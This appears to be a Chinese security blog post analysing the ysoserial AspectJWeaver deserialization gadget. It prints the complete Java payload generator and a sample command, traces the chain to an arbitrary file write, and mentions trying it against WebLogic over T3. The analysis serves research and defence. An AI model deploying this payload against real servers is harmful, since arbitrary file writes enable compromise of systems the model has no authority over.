ysoserial AspectJWeaver file write gadget
2015 年 10 月 27 日
昨天在挖weblogic漏洞时发现ysoserial更新了一个新的gadget AspectJWeaver,今天分析一下。
分析
先看下yso给出的payload
1package ysoserial.payloads; 2 3import org.apache.commons.codec.binary.Base64; 4import org.apache.commons.collections.Transformer; 5import org.apache.commons.collections.functors.ConstantTransformer; 6import org.apache.commons.collections.keyvalue.TiedMapEntry; 7import org.apache.commons.collections.map.LazyMap; 8import ysoserial.payloads.annotation.Authors; 9import ysoserial.payloads.annotation.Dependencies; 10import ysoserial.payloads.annotation.PayloadTest; 11import ysoserial.payloads.util.PayloadRunner; 12import ysoserial.payloads.util.Reflections; 13 14import java.io.Serializable; 15import java.lang.reflect.Constructor; 16import java.lang.reflect.Field; 17import java.util.HashMap; 18import java.util.HashSet; 19import java.util.Map; 20 21/* 22Gadget chain: 23HashSet.readObject() 24 HashMap.put() 25 HashMap.hash() 26 TiedMapEntry.hashCode() 27 TiedMapEntry.getValue() 28 LazyMap.get() 29 SimpleCache$StorableCachingMap.put() 30 SimpleCache$StorableCachingMap.writeToPath() 31 FileOutputStream.write() 32 33Usage: 34args = ";" 35Example: 36java -jar ysoserial.jar AspectJWeaver "ahi.txt;YWhpaGloaQ==" 37 38More information: 39https://medium.com/nightst0rm/t%C3%B4i-%C4%91%C3%A3-chi%E1%BA%BFm-quy%E1%BB%81n-%C4%91i%E1%BB%81u-khi%E1%BB%83n-c%E1%BB%A7a-r%E1%BA%A5t-nhi%E1%BB%81u-trang-web-nh%C6%B0-th%E1%BA%BF-n%C3%A0o-61efdf4a03f5 40 */ 41@PayloadTest(skip="non RCE") 42@SuppressWarnings({"rawtypes", "unchecked"}) 43@Dependencies({"org.aspectj:aspectjweaver:1.9.2", "commons-collections:commons-collections:3.2.2"}) 44@Authors({ Authors.JANG }) 45 46public class AspectJWeaver implements ObjectPayload { 47 48 public Serializable getObject(final String command) throws Exception { 49 int sep = command.lastIndexOf(';'); 50 if ( sep < 0 ) { 51 throw new IllegalArgumentException("Command format is: :"); 52 } 53 String[] parts = command.split(";"); 54 String filename = parts[0]; 55 byte[] content = Base64.decodeBase64(parts[1]); 56 57 Constructor ctor = Reflections.getFirstCtor("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap"); 58 Object simpleCache = ctor.newInstance(".", 12); 59 Transformer ct = new ConstantTransformer(content); 60 Map lazyMap = LazyMap.decorate((Map)simpleCache, ct); 61 TiedMapEntry entry = new TiedMapEntry(lazyMap, filename); 62 HashSet map = new HashSet(1); 63 map.add("foo"); 64 Field f = null; 65 try { 66 f = HashSet.class.getDeclaredField("map"); 67 } catch (NoSuchFieldException e) { 68 f = HashSet.class.getDeclaredField("backingMap"); 69 } 70 71 Reflections.setAccessible(f); 72 HashMap innimpl = (HashMap) f.get(map); 73 74 Field f2 = null; 75 try { 76 f2 = HashMap.class.getDeclaredField("table"); 77 } catch (NoSuchFieldException e) { 78 f2 = HashMap.class.getDeclaredField("elementData"); 79 } 80 81 Reflections.setAccessible(f2); 82 Object[] array = (Object[]) f2.get(innimpl); 83 84 Object node = array[0]; 85 if(node == null){ 86 node = array[1]; 87 } 88 89 Field keyField = null; 90 try{ 91 keyField = node.getClass().getDeclaredField("key"); 92 }catch(Exception e){ 93 keyField = Class.forName("java.util.MapEntry").getDeclaredField("key"); 94 } 95 96 Reflections.setAccessible(keyField); 97 keyField.set(node, entry); 98 99 return map; 100 101 } 102 103 public static void main(String[] args) throws Exception { 104 args = new String[]{"ahi.txt;YWhpaGloaQ=="}; 105 PayloadRunner.run(AspectJWeaver.class, args); 106 } 107}
先看堆栈后半段
org.aspectj.weaver.tools.cache.SimpleCache.StoreableCachingMap#writeToPath
writeToPath中key和value分别是文件名和内容。
org.aspectj.weaver.tools.cache.SimpleCache.StoreableCachingMap#put
中调用了writeToPath。
现在如果反序列化时可以触发put方法,就可以自动写入文件。
再通过正向思维看前半段,我们的目的是寻找put方法调用。
在HashSet类的readObject中
进行了map.put,跟进
跟进hash()
这里自动调用了key.hashCode()即 org.apache.commons.collections.keyvalue.TiedMapEntry#hashCode
hashCode()自动调用了getValue()
getValue()又调用自身map字段的get方法。自身map字段为Map类型,而在 org.apache.commons.collections.map.LazyMap#get
中进行了put方法,接上了我们后半段的put方法。
到此整条链就结束了,算是比较简单的一条gadget。
这条链我通过T3打过去,发现weblogic已经过滤了 org.apache.commons.collections.functors
包名,相信不久就会出现新的绕过。